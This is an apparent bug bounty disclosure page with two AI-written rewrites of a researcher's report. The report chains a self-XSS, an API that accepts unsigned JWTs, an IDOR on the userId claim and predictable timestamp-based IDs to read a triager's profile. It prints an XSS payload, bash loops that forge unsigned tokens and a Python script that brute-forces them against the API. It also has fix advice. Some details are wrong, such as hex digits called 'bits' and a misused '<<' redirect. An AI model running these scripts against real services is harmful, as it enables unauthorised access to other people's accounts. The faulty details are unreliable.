Skip to content
IDOR Write-up Intermediate

How I was able to get account takeover via IDOR form JWT

The API accepted JSON Web Tokens using the 'none' algorithm, so the signature could be removed entirely. Because the user ID inside the token was trusted for lookups, an attacker could forge tokens for other users' IDs and read their profile data, leading to account takeover.

Mohamed Reda Follow

Published on medium.com

Hello guys, today I’m gonna explain how I got IDOR and exploit it to make account takeover.

Mohamed reda, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

The target was a shopping platform on a bug bounty programme run through bugbounter. The author refers to it as "redirect.com". The application issued a JSON Web Token (JWT) to authenticated users and used it as a bearer token for API calls. The API endpoint at the centre of the report is GET /profile on api.redirect.com, which returns the profile of the user identified by the token.

The goal was account takeover (ATO). What the author found instead, on the way there, was a self-XSS, then a JWT that accepted the none algorithm, then an IDOR in the userId claim, and finally a way to brute force the userId of any user, including a triager.

Setup

The author registered an account on the platform and tested every function available to a normal customer. Burp Suite was used to inspect traffic. Firefox and Microsoft Edge were both used to check whether the XSS payload fired. The epochconverter.com site was used to convert dates to Unix timestamps. The brute force scripts are bash and Python, and the Python script uses requests.

No versions, account roles beyond Customer, or programme details are given beyond the above.

Finding it

Self-XSS in the profile fields

The first attempt was to put an XSS payload into the firstName field and complete the other fields. When logging in with Firefox, nothing happened, and the author initially thought the platform was safe. When logging in with Microsoft Edge, the payload fired.

From the original on medium.com

Because users could not visit other profiles and all blind XSS attempts failed, this was treated as a self-XSS only. The author notes wanting to collaborate with someone to turn it into a non-self XSS.

The JWT in the profile request

Returning to Burp Suite, the author found this request:

HTTP
GET /profile HTTP/2Host: api.redirect.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: application/json, text/plain, */*Accept-Language: en-GBAccept-Encoding: gzip, deflateAuthorization: Bearer [redacted]: https://www.redirect.comReferer: https://www.redirect.com/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-siteTe: trailers

The token is sent as Authorization: Bearer <jwt>. Decoding it gives the following header and payload:

JSON
{  "alg": "HS256",  "typ": "JWT"}{  "type": "Customer",  "userId": "64733c10376ad16a89bec395",  "email": "[redacted]",  "firstName": "l<svg Only=1  Onload=alert(document.cookie)>",  "lastName": "l<svg Only=1  Onload=alert(document.cookie)>",  "createTime": "05/30/2023 00:16:50",  "registerTime": "05/28/2023 11:33:36",  "hasKey": "true",  "nbf": 1685405800,  "exp": 1685492200,  "iat": 1685405800}

The payload carries the user's identity (userId, email), their role (type), their profile fields (including the stored XSS payload from the earlier test), and the standard nbf, exp and iat claims.

JWT attacks

The author worked through the JWT attack methods described in a LinkedIn post. Privilege escalation by changing "type": "Customer" to "type": "Admin" or another privilege value did not work. That left two parameters to test for IDOR:

Text
"userId": "64733c10376ad16a89bec395""email": "[redacted]"

Several methods against email produced nothing useful. Changing userId to someone else's ID worked, and the response returned that user's information.

IDOR From the original on medium.com

IDOR

At this point the author rated the bug as medium at most, because the ID was not easily accessible from anywhere.

Looking for a way to enumerate IDs

Because the site was a shopping platform, the author fuzzed the API without interesting results. There was no comment option, no user profile feature and no review, so there was no place to find other users' IDs. The Wayback Machine and the JavaScript files were searched without useful information either.

So the author analysed the user ID itself, starting by creating several accounts.

number of test accounts From the original on medium.com

number of test accounts

A pattern emerged:

analysis id From the original on medium.com

analysis id

The first 8 hex digits look like a hexadecimal representation of the timestamp. The next 12 hex digits are fixed for a certain period of time during the day, and can be determined by creating an account. The last 4 digits are random.

Exploitation

Step 1: define the brute force plan

With the first 8 bits identified as a timestamp, the search space narrows to the remaining 18 bits. The next 12 bits can be obtained by creating an account and observing the generated user ID, so the real target is the last 4 digits. The plan was:

  1. Get all possible timestamps for a day.
  2. Determine all possible user IDs at a given timestamp.
  3. Generate a JWT for each user ID.
  4. Brute force all possible combinations of the last 4 digits using those JWTs.
  5. Keep track of the valid user IDs found.
  6. Analyse the results and count the valid user IDs.

In the analysis picture, the timestamp is 647DDEA2: the first 4 digits represent the year, month and day, and the last 4 digits represent hours, minutes and seconds.

Step 2: generate the last 4 hex digits

A bash script produces every value from 0x0000 to 0xffff as four hex digits:

Bash
#!/bin/bashfor ((i=0;i<=0xffff;i++))do    hex=$(printf "%04x" $i)    echo $hexdone >> hex4.txt

Step 3: split the user ID

The user ID is divided into three parts:

Text
646fcff0 ==> timestamp, 5523e47052f1 ==> fixed 12 digits of hex, 310e ==> random 4 digits

To obtain the first 12 hex digits, create an account at the beginning of the day and read the generated user ID. Concatenating the fixed 12 digits with each possible last 4 digits, for each timestamp, gives all possible user IDs for the day.

Step 4: build a JWT for every candidate user ID

Each candidate user ID is turned into a JWT. The script base64-encodes a header and a payload, strips the = padding and newlines, and joins the parts with dots. The signature is left empty, which is the none algorithm behaviour found earlier:

Bash
for i in `cat hex4.txt`; do for j in `cat hex4.txt`; do  echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n';     echo '.' | tr -d '\n' ;     echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n';     echo '.' ;   done ; done >> rahim_allah_alfataa_salah.txt

Note that the header still says HS256 while no signature is appended, and that the payload here uses "limit":2 and a userId built from the loop variable, the fixed middle 5523e47052f150, and the second loop variable.

Step 5: test each JWT against the API

The Python script reads the generated tokens and requests the profile endpoint with each one, printing the id from the response when the status is 200:

Python
import requestsimport timeurl = "https://api.redirect.com/profile"bearer_token_file = "rahim_allah_alfataa_salah.txt"with open(bearer_token_file, "r") as f:    jwt_list = f.readlines()for jwt_str in jwt_list:    jwt_token = jwt_str.strip()    headers = {"Authorization": f"Bearer {jwt_token}"}    response = requests.get(url, headers=headers)    if response.ok and response.status_code == 200:        response_data = response.json()        print("userid: " + response_data["items"]['id'])

Step 6: target the triager's account

After the report was submitted, the triager created an account and gave the author the timestamp 30.05.2023. It was not all 8 bits of the timestamp, only 5 of them, so the author wrote code to generate every possible timestamp from 30.05.2023 at 11 pm to 11.30 pm.

hacking_triager_account_;D From the original on medium.com

hacking_triager_account_;D

The epochconverter.com site was used to get the timestamp. The following script brute forces the last 3 digits at that timestamp (4 are possible, but 3 were used to reduce the time), writing to timestamp.txt:

Bash
#!/bin/bashstart=6475d908end=6475dFFFfor ((i=0x$start;i<=0x$end;i++))do    printf "%x\n" $idone << timestamp.txt

For the last 4 hex digits of the user ID, the same idea as the first script is used, reduced to 2 hex digits to save time, writing to jadak_alghaithu.txt:

Bash
for i in {0..255}; do printf "%02X\n" $i; done >> jadak_alghaithu.txt;

Combining the timestamps, the fixed 12 hex digits and the last digits produces all the JWTs, written to brute_force.txt:

Bash
for i in `cat timestamp.txt`; do for j in `cat jadak_alghaithu.txt`; do echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' | tr -d '\n' ; echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' ; done ; done >> brute_force.txt

The attack itself is run with the same Python code, pointed at the new file:

Python
import requestsimport timeurl = "https://api.redirect.com/profile"bearer_token_file = "brute_force.txt"with open(bearer_token_file, "r") as f:    jwt_list = f.readlines()for jwt_str in jwt_list:    jwt_token = jwt_str.strip()    headers = {"Authorization": f"Bearer {jwt_token}"}    response = requests.get(url, headers=headers)    if response.ok and response.status_code == 200:        response_data = response.json()        print("userid: " + response_data["items"]['id'])

The results:

From the original on medium.com

The user ID found for the triager was 6475d9315523e47052f15098. It was sent to Burp:

From the original on medium.com

And the data returned for the triager:

JSON
{     "offset":0,     "limit":1,     "items":{         "id":"6475d9315523e47052f15098",         "lastLoggedAt":"2023–05–30T11:08:34.219Z",         "createdAt":"2023–05–30T11:08:33.493Z",         "dateOfBirth":null,         "gender":null,         "registerType":"email",         "addresses":[
         ],         "firstName":"test1",         "lastName":"test2",         "email":"**************@gmail.com",         "phone":null,         "state":"active",         "registerOrigin":"desktop",         "marketingAccepted":true,         "marketingAcceptedAt":"2023–05–30T11:08:33.493Z"     },     "size":1,     "success":true,     "message":null,     "statusCode":"ok"}
From the original on medium.com

The response contains the account's id, login and creation timestamps, name, partially masked email, account state and marketing preferences. The email is masked in the output shown.

Root cause

Two design mistakes combine here.

First, the API trusted the identity claims inside the JWT without verifying the signature. The none algorithm was accepted, and the token was accepted even with the signature removed, so a token could be minted for any userId. The type claim could not be escalated to Admin. The type claim was not enough to escalate to Admin, but the userId claim was enough to read another user's profile.

Second, the userId was predictable. It is built from a timestamp in the first 8 hex digits, a 12-hex-digit value that is fixed for a period during the day, and only 4 random hex digits. That leaves a small enough space to enumerate, especially once a timestamp close to the target's registration is known. The author's own note is that the IDOR alone was medium because the ID was not exposed anywhere; the predictability is what makes enumerating other users' IDs practical.

Impact

In practice, the demonstrated impact is reading another user's profile data, including the triager's account, by forging a token with that user's userId. The report does not show changing another user's data, resetting a password, or logging in as the victim. The severity of the IDOR on its own was considered medium because the ID was not easily accessible; the brute force removes that limitation when the attacker can narrow the timestamp, for example from a registration date or a value leaked to them.

Fix

The report does not describe any fix applied by the programme. What should change, based on what was demonstrated:

  1. Reject tokens whose alg is none, and reject tokens with no signature. Verify the signature with a server-side secret or public key before reading any claim.
  2. Do not take the user identity from a client-controlled claim for authorisation decisions. Derive the user from the verified token, and check that the requested resource belongs to that user.
  3. Replace predictable, timestamp-based identifiers with random ones that cannot be enumerated, so that guessing a userId is not feasible even if a token can be forged.

Variants to test

  1. none algorithm acceptance. Take a valid token, change the header alg to none, strip the signature, and replay it. A positive result is a 200 response with the original user's data.
  2. Signature stripped but header unchanged. Keep "alg":"HS256" and remove the signature, as in the scripts above. A positive result is the same: the API accepts the token.
  3. IDOR on identity claims. With a token you can mint, change userId (and separately email) to another value and request the profile. A positive result is another user's data in the response.
  4. Privilege claim tampering. Change type from Customer to Admin or similar. In this report it failed, but it is worth testing on other targets; a positive result is access to admin-only functions or data.
  5. Predictable identifier analysis. Create several accounts close together in time and compare IDs. Look for a timestamp prefix, a fixed middle section and a short random suffix. A positive result is a visible pattern that lets you reconstruct IDs for a known time window.
  6. Reduced brute force with a known timestamp. If you can learn roughly when a target registered, generate timestamps around that window and brute force the remaining digits, as was done for the triager. A positive result is a valid ID returned by the API for an account you do not own.

The end

The author closes by thanking readers and inviting questions on Twitter or LinkedIn.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

A security researcher was testing a shopping website that was part of a bug bounty programme. A bug bounty programme is a scheme where a company invites people to try to break its systems and pays or thanks them for reporting what they find. The researcher refers to the site as "redirect.com".

The researcher found several problems that, chained together, allowed them to read another person's account details. The chain went like this:

  1. A script injection bug in the profile fields that only fired in the researcher's own browser (a self-XSS).
  2. A login token (a JWT) that the server accepted even when it had no signature at all, meaning anyone could make up a token for any user.
  3. A bug where changing the user ID inside that token returned someone else's profile (an IDOR).
  4. A way to guess user IDs because they were built from the time an account was created plus only a few random characters.

The final demonstration was reading the profile of the person who triaged the report, using a token the researcher built by guessing the ID. The report does not show changing anyone's data, resetting a password, or logging in as the victim.

The setup

The researcher registered a normal customer account on the platform and tried every function available to a customer. To watch the traffic between the browser and the server, they used Burp Suite, a tool that sits between your browser and a website and lets you read and edit every request and response. Think of it as a transparent proxy that lets you pause the conversation and change what is being said.

They used two browsers, Firefox and Microsoft Edge, to check whether a script payload would run. They used the site epochconverter.com to turn human dates into Unix timestamps. A Unix timestamp is simply the number of seconds since 1 January 1970, a way computers store a moment in time as a single number. The brute force scripts are written in bash (the command language of the Linux terminal) and Python (a programming language), and the Python script uses requests, a library for sending HTTP requests from code.

Finding it

A script that only runs for you: self-XSS

XSS stands for cross-site scripting. It means getting a website to run JavaScript code that you supplied, in someone's browser. JavaScript is the language web pages use to do things in the browser, and if an attacker can get their code to run in a victim's browser, they can read things the page can see, such as cookies. A cookie is a small piece of data a site stores in your browser, often used to keep you logged in.

The researcher put an XSS payload into the firstName field of their profile and filled in the other fields. A payload here just means the text designed to trigger the bug. When they logged in with Firefox, nothing happened, and they thought the platform was safe. When they logged in with Microsoft Edge, the payload fired.

From the original on medium.com

Because users could not visit each other's profiles, and every attempt to make the payload fire for someone else (blind XSS) failed, this was only a self-XSS: the script runs in your own browser, against yourself, which is not useful to an attacker on its own. The researcher notes they wanted to work with someone else to turn it into a non-self XSS.

The token in the profile request

Back in Burp Suite, the researcher found this request:

HTTP
GET /profile HTTP/2Host: api.redirect.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: application/json, text/plain, */*Accept-Language: en-GBAccept-Encoding: gzip, deflateAuthorization: Bearer [redacted]: https://www.redirect.comReferer: https://www.redirect.com/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-siteTe: trailers

Line by line, in plain words:

  • GET /profile HTTP/2 asks the server for the profile page or data, using version 2 of HTTP, the language browsers and servers speak.
  • Host: api.redirect.com says which server is being asked. The api. part usually means this is a machine-facing interface, not a page for humans. An API is a way for programs to talk to each other: instead of a web page with buttons, you send a request and get data back, often in JSON, a text format for structured data.
  • User-Agent identifies the browser and operating system making the request.
  • Accept says the client would like JSON or plain text back.
  • Accept-Language and Accept-Encoding say which language and compression the client prefers.
  • Authorization: Bearer ... is the important line. It carries the login token. "Bearer" means "whoever holds this token is treated as the user", like a wristband at an event: no name check, just show the band.
  • Origin, Referer and the Sec-Fetch-* lines tell the server where the request came from, which helps the server decide whether to allow it.
  • Te: trailers is a minor HTTP detail about how the connection is handled.

The token is a JWT, a JSON Web Token. A JWT is three chunks of text joined by dots: a header, a payload, and a signature. The header says which algorithm was used to sign it. The payload holds claims, which are just named values such as the user's ID and email. The signature is what lets the server check the token was issued by it and not tampered with. Decoding the token gives:

JSON
{  "alg": "HS256",  "typ": "JWT"}{  "type": "Customer",  "userId": "64733c10376ad16a89bec395",  "email": "[redacted]",  "firstName": "l<svg Only=1  Onload=alert(document.cookie)>",  "lastName": "l<svg Only=1  Onload=alert(document.cookie)>",  "createTime": "05/30/2023 00:16:50",  "registerTime": "05/28/2023 11:33:36",  "hasKey": "true",  "nbf": 1685405800,  "exp": 1685492200,  "iat": 1685405800}

What each part means:

  • "alg": "HS256" says the signature uses HMAC with SHA-256, a common signing method.
  • "typ": "JWT" just labels the token type.
  • "type": "Customer" is the user's role.
  • "userId" is the account identifier.
  • "email", "firstName", "lastName" are profile fields. Notice the firstName and lastName contain the XSS payload from the earlier test, stored in the token.
  • "createTime" and "registerTime" are dates.
  • "hasKey" is another account flag.
  • "nbf", "exp" and "iat" are standard JWT claims: not before, expiry, and issued at, all as Unix timestamps.

Trying known JWT attacks

The researcher worked through the JWT attack methods described in a LinkedIn post. The none algorithm worked, even when the signature was removed. The none algorithm is a JWT setting that literally means "no signature". If a server accepts it, anyone can write their own token with any contents and the server will believe it, like a bouncer who accepts a handwritten name badge as ID.

Next they tried privilege escalation, changing "type": "Customer" to "type": "Admin" or another privilege value. That did not work. That left two parameters to test for IDOR:

Text
"userId": "64733c10376ad16a89bec395""email": "[redacted]"

IDOR stands for Insecure Direct Object Reference. It means the application lets you ask for an object (a record, a file, a profile) by its identifier, and does not check that the object belongs to you. If you change the identifier in the request and get someone else's data back, that is an IDOR. Think of a cloakroom that hands out any coat when you say a number, without checking your ticket.

Several attempts against email produced nothing useful. Changing userId to someone else's ID worked, and the response returned that user's information.

IDOR From the original on medium.com

IDOR

At this point the researcher rated the bug as medium at most, because the ID was not easily accessible from anywhere. In other words, the IDOR worked, but you needed to know a valid ID first, and the site did not show you other people's IDs.

Looking for a way to find other users' IDs

Because the site was a shopping platform, the researcher fuzzed the API. Fuzzing means sending lots of slightly different requests automatically to see if any produce something interesting. There were no interesting results. There was no comment option, no user profile feature and no review, so there was nowhere to find another user's ID. The researcher also searched the Wayback Machine (an archive of old versions of websites) and the site's JavaScript files, without useful information.

So the researcher analysed the user ID itself, starting by creating several accounts.

number of test accounts From the original on medium.com

number of test accounts

A pattern emerged:

analysis id From the original on medium.com

analysis id

The first 8 hex digits look like a hexadecimal representation of the timestamp. Hexadecimal, or hex, is a way of writing numbers using sixteen symbols, 0 to 9 and A to F, instead of the usual ten. Computers often use it because it is compact. The next 12 hex digits are fixed for a certain period of time during the day, and can be determined by creating an account. The last 4 digits are random.

Exploitation

Step 1: define the brute force plan

A brute force attack means trying every possible value until one works, like trying every key on a keyring. With the first 8 bits identified as a timestamp, the search space narrows to the remaining 18 bits. The next 12 bits can be obtained by creating an account and observing the generated user ID, so the real target is the last 4 digits. The plan was:

  1. Get all possible timestamps for a day.
  2. Determine all possible user IDs at a given timestamp.
  3. Generate a JWT for each user ID.
  4. Brute force all possible combinations of the last 4 digits using those JWTs.
  5. Keep track of the valid user IDs found.
  6. Analyse the results and count the valid user IDs.

In the analysis picture, the timestamp is 647DDEA2: the first 4 digits represent the year, month and day, and the last 4 digits represent hours, minutes and seconds.

Step 2: generate the last 4 hex digits

A bash script produces every value from 0x0000 to 0xffff as four hex digits:

Bash
#!/bin/bashfor ((i=0;i<=0xffff;i++))do    hex=$(printf "%04x" $i)    echo $hexdone >> hex4.txt

Line by line:

  • #!/bin/bash tells the system to run this file with bash.
  • for ((i=0;i<=0xffff;i++)) is a loop that counts from 0 up to 0xffff, which is 65535 in normal numbers.
  • do starts the body of the loop.
  • hex=$(printf "%04x" $i) turns the current number into four hex digits, padded with leading zeros, and stores it in a variable called hex.
  • echo $hex prints that value.
  • done >> hex4.txt ends the loop and sends all the printed lines into a file called hex4.txt. The >> means append to the file.

Step 3: split the user ID

The user ID is divided into three parts:

Text
646fcff0 ==> timestamp, 5523e47052f1 ==> fixed 12 digits of hex, 310e ==> random 4 digits

To obtain the first 12 hex digits, create an account at the beginning of the day and read the generated user ID. Concatenating the fixed 12 digits with each possible last 4 digits, for each timestamp, gives all possible user IDs for the day. Concatenating just means joining pieces of text end to end.

Step 4: build a JWT for every candidate user ID

Each candidate user ID is turned into a JWT. The script base64-encodes a header and a payload, strips the = padding and newlines, and joins the parts with dots. Base64 is a way of writing binary data as ordinary text characters. The signature is left empty, which is the none algorithm behaviour found earlier:

Bash
for i in `cat hex4.txt`; do for j in `cat hex4.txt`; do  echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n';     echo '.' | tr -d '\n' ;     echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n';     echo '.' ;   done ; done >> rahim_allah_alfataa_salah.txt

Line by line:

  • for i in \cat hex4.txt`loops over every line ofhex4.txt, putting each one in i`.
  • do for j in \cat hex4.txt`starts a second, inner loop over the same file, putting each line inj`. The two loops together try every pair of values.
  • echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n' prints the JWT header, base64-encodes it, removes the == padding and removes newlines, so it is one clean line.
  • echo '.' | tr -d '\n' prints a dot with no newline, the separator between JWT parts.
  • echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n' builds the payload with the current i, the fixed middle 5523e47052f150, and the current j, then encodes it the same way.
  • echo '.' prints the final dot, after which nothing follows: the signature is empty.
  • done ; done >> rahim_allah_alfataa_salah.txt closes both loops and appends every generated token to that file.

Note that the header still says HS256 while no signature is appended, and that the payload here uses "limit":2 and a userId built from the loop variable, the fixed middle 5523e47052f150, and the second loop variable.

Step 5: test each JWT against the API

The Python script reads the generated tokens and requests the profile endpoint with each one, printing the id from the response when the status is 200:

Python
import requestsimport timeurl = "https://api.redirect.com/profile"bearer_token_file = "rahim_allah_alfataa_salah.txt"with open(bearer_token_file, "r") as f:    jwt_list = f.readlines()for jwt_str in jwt_list:    jwt_token = jwt_str.strip()    headers = {"Authorization": f"Bearer {jwt_token}"}    response = requests.get(url, headers=headers)    if response.ok and response.status_code == 200:        response_data = response.json()        print("userid: " + response_data["items"]['id'])

Line by line:

  • import requests loads the library used to send web requests.
  • import time loads Python's time library. It is imported but not used in the code shown.
  • url = "https://api.redirect.com/profile" stores the address to call.
  • bearer_token_file = "rahim_allah_alfataa_salah.txt" stores the name of the file full of tokens.
  • with open(bearer_token_file, "r") as f: opens that file for reading.
  • jwt_list = f.readlines() reads every line into a list, one token per line.
  • for jwt_str in jwt_list: goes through the tokens one at a time.
  • jwt_token = jwt_str.strip() removes spaces and line breaks around the token.
  • headers = {"Authorization": f"Bearer {jwt_token}"} builds the same Authorization: Bearer header the browser sent.
  • response = requests.get(url, headers=headers) sends the request with that token.
  • if response.ok and response.status_code == 200: checks the server accepted it. Status 200 means success.
  • response_data = response.json() turns the reply into Python data.
  • print("userid: " + response_data["items"]['id']) prints the user ID from the reply, which tells the researcher a guessed token was valid.

Step 6: target the triager's account

A triager is the person on the bug bounty platform who reads reports and decides whether they are valid. After the report was submitted, the triager created an account and gave the researcher the timestamp 30.05.2023. It was not all 8 bits of the timestamp, only 5 of them, so the researcher wrote code to generate every possible timestamp from 30.05.2023 at 11 pm to 11.30 pm.

hacking_triager_account_;D From the original on medium.com

hacking_triager_account_;D

The epochconverter.com site was used to get the timestamp. The following script brute forces the last 3 digits at that timestamp (4 are possible, but 3 were used to reduce the time), writing to timestamp.txt:

Bash
#!/bin/bashstart=6475d908end=6475dFFFfor ((i=0x$start;i<=0x$end;i++))do    printf "%x\n" $idone << timestamp.txt

Line by line:

  • #!/bin/bash runs the file with bash.
  • start=6475d908 and end=6475dFFF set the first and last timestamp values to try.
  • for ((i=0x$start;i<=0x$end;i++)) counts from the start value to the end value, treating them as hex numbers because of the 0x prefix.
  • do starts the loop body.
  • printf "%x\n" $i prints the current number in hex, followed by a newline.
  • done << timestamp.txt ends the loop. The << here sends the output into timestamp.txt.

For the last 4 hex digits of the user ID, the same idea as the first script is used, reduced to 2 hex digits to save time, writing to jadak_alghaithu.txt:

Bash
for i in {0..255}; do printf "%02X\n" $i; done >> jadak_alghaithu.txt;

Line by line:

  • for i in {0..255} counts from 0 to 255.
  • do printf "%02X\n" $i; prints each number as two hex digits, padded with a leading zero, in uppercase, followed by a newline.
  • done >> jadak_alghaithu.txt; ends the loop and appends the output to that file.

Combining the timestamps, the fixed 12 hex digits and the last digits produces all the JWTs, written to brute_force.txt:

Bash
for i in `cat timestamp.txt`; do for j in `cat jadak_alghaithu.txt`; do echo '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' | tr -d '\n' ; echo '{"limit":2,"type":"Customer","userId":"'$i'5523e47052f150'$j'"}' | base64 | tr -d '==' | tr -d '\n'; echo '.' ; done ; done >> brute_force.txt

This is the same structure as the earlier token-building script. The outer loop now reads the timestamps from timestamp.txt, the inner loop reads the short suffixes from jadak_alghaithu.txt, and the payload joins the timestamp, the fixed middle 5523e47052f150 and the suffix. The output goes to brute_force.txt.

The attack itself is run with the same Python code, pointed at the new file:

Python
import requestsimport timeurl = "https://api.redirect.com/profile"bearer_token_file = "brute_force.txt"with open(bearer_token_file, "r") as f:    jwt_list = f.readlines()for jwt_str in jwt_list:    jwt_token = jwt_str.strip()    headers = {"Authorization": f"Bearer {jwt_token}"}    response = requests.get(url, headers=headers)    if response.ok and response.status_code == 200:        response_data = response.json()        print("userid: " + response_data["items"]['id'])

The only change from the earlier script is the file name: it now reads brute_force.txt. Everything else works the same way: open the file, loop over the tokens, send each one, and print the user ID when the server answers with success.

The results:

From the original on medium.com

The user ID found for the triager was 6475d9315523e47052f15098. It was sent to Burp:

From the original on medium.com

And the data returned for the triager:

JSON
{     "offset":0,     "limit":1,     "items":{         "id":"6475d9315523e47052f15098",         "lastLoggedAt":"2023–05–30T11:08:34.219Z",         "createdAt":"2023–05–30T11:08:33.493Z",         "dateOfBirth":null,         "gender":null,         "registerType":"email",         "addresses":[
         ],         "firstName":"test1",         "lastName":"test2",         "email":"**************@gmail.com",         "phone":null,         "state":"active",         "registerOrigin":"desktop",         "marketingAccepted":true,         "marketingAcceptedAt":"2023–05–30T11:08:33.493Z"     },     "size":1,     "success":true,     "message":null,     "statusCode":"ok"}
From the original on medium.com

What the reply contains:

  • offset and limit describe which slice of results was asked for.
  • items holds the actual record. Inside it, id is the account identifier, lastLoggedAt and createdAt are timestamps, firstName and lastName are the profile names, and email is shown partially masked.
  • dateOfBirth, gender, phone and addresses are empty or null, meaning the account did not fill them in.
  • registerType, registerOrigin, state, marketingAccepted and marketingAcceptedAt describe how the account was created and its settings.
  • size, success, message and statusCode are the wrapper around the record, saying the request succeeded.

The email is masked in the output shown.

Why it worked

Two design mistakes combine here.

First, the API trusted the identity claims inside the JWT without verifying the signature. The none algorithm was accepted, and the token was accepted even with the signature removed, so a token could be minted for any userId. The type claim could not be escalated to Admin. The type claim was not enough to escalate to Admin, but the userId claim was enough to read another user's profile.

Second, the userId was predictable. It is built from a timestamp in the first 8 hex digits, a 12-hex-digit value that is fixed for a period during the day, and only 4 random hex digits. That leaves a small enough space to enumerate, especially once a timestamp close to the target's registration is known. The researcher's own note is that the IDOR alone was medium because the ID was not exposed anywhere; the predictability is what makes enumerating other users' IDs practical.

What it means

In practice, the demonstrated impact is reading another user's profile data, including the triager's account, by forging a token with that user's userId. The report does not show changing another user's data, resetting a password, or logging in as the victim. The severity of the IDOR on its own was considered medium because the ID was not easily accessible; the brute force removes that limitation when the attacker can narrow the timestamp, for example from a registration date or a value leaked to them.

How to fix it

What should change, based on what was demonstrated:

  1. Reject tokens whose alg is none, and reject tokens with no signature. Verify the signature with a server-side secret or public key before reading any claim.
  2. Do not take the user identity from a client-controlled claim for authorisation decisions. Derive the user from the verified token, and check that the requested resource belongs to that user.
  3. Replace predictable, timestamp-based identifiers with random ones that cannot be enumerated, so that guessing a userId is not feasible even if a token can be forged.

Things to try on other targets

  1. none algorithm acceptance. Take a valid token, change the header alg to none, strip the signature, and replay it. A positive result is a 200 response with the original user's data.
  2. Signature stripped but header unchanged. Keep "alg":"HS256" and remove the signature, as in the scripts above. A positive result is the same: the API accepts the token.
  3. IDOR on identity claims. With a token you can mint, change userId (and separately email) to another value and request the profile. A positive result is another user's data in the response.
  4. Privilege claim tampering. Change type from Customer to Admin or similar. In this report it failed, but it is worth testing on other targets; a positive result is access to admin-only functions or data.
  5. Predictable identifier analysis. Create several accounts close together in time and compare IDs. Look for a timestamp prefix, a fixed middle section and a short random suffix. A positive result is a visible pattern that lets you reconstruct IDs for a known time window.
  6. Reduced brute force with a known timestamp. If you can learn roughly when a target registered, generate timestamps around that window and brute force the remaining digits, as was done for the triager. A positive result is a valid ID returned by the API for an account you do not own.

The end

The researcher closes by thanking readers and inviting questions on Twitter or LinkedIn.

Glossary

  • API: an interface that lets programs talk to each other, usually sending requests and receiving structured data instead of web pages.
  • Account takeover (ATO): gaining control of someone else's account.
  • Base64: a way of writing binary data using ordinary text characters.
  • Bash: the command language used in Linux terminals to run scripts.
  • Bearer token: a token where whoever holds it is treated as the user, with no further check.
  • Blind XSS: an XSS payload that is stored and later runs in someone else's browser, not your own.
  • Brute force: trying every possible value until one works.
  • Bug bounty programme: a scheme where a company invites people to find and report security problems, often for a reward.
  • Burp Suite: a tool that sits between your browser and a website so you can read and edit requests and responses.
  • Claim: a named value inside a JWT payload, such as a user ID or role.
  • Concatenate: join pieces of text end to end.
  • Cookie: a small piece of data a site stores in your browser, often used to keep you logged in.
  • Cross-site scripting (XSS): getting a website to run JavaScript code supplied by an attacker in someone's browser.
  • Epoch converter: a tool that converts dates to and from Unix timestamps.
  • Fuzzing: sending many slightly different requests automatically to look for interesting behaviour.
  • Hex (hexadecimal): a way of writing numbers using sixteen symbols, 0 to 9 and A to F.
  • HMAC / HS256: a signing method for JWTs using a shared secret and the SHA-256 hash.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • IDOR (Insecure Direct Object Reference): asking for an object by its identifier and getting it without the server checking it belongs to you.
  • JavaScript: the programming language web pages use to run code in the browser.
  • JSON: a text format for structured data, made of names and values.
  • JWT (JSON Web Token): a token made of a header, a payload and a signature joined by dots, used to prove who you are.
  • none algorithm: a JWT setting meaning no signature, which a server should never accept.
  • Payload: in XSS, the text designed to trigger the bug; in a JWT, the middle part holding the claims.
  • Privilege escalation: gaining more permissions than you should have, such as becoming an admin.
  • Python: a programming language often used for scripts.
  • requests: a Python library for sending HTTP requests.
  • Self-XSS: an XSS payload that only runs in your own browser, against yourself.
  • Status code: a number in an HTTP response saying what happened, such as 200 for success.
  • Timestamp: a moment in time stored as a number, often seconds since 1 January 1970 (a Unix timestamp).
  • Triager: the person on a bug bounty platform who reads reports and decides whether they are valid.
  • Unix timestamp: the number of seconds since 1 January 1970.
  • Wayback Machine: an archive of old versions of websites.
  • XSS: see cross-site scripting.

More by Mohamed Reda

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.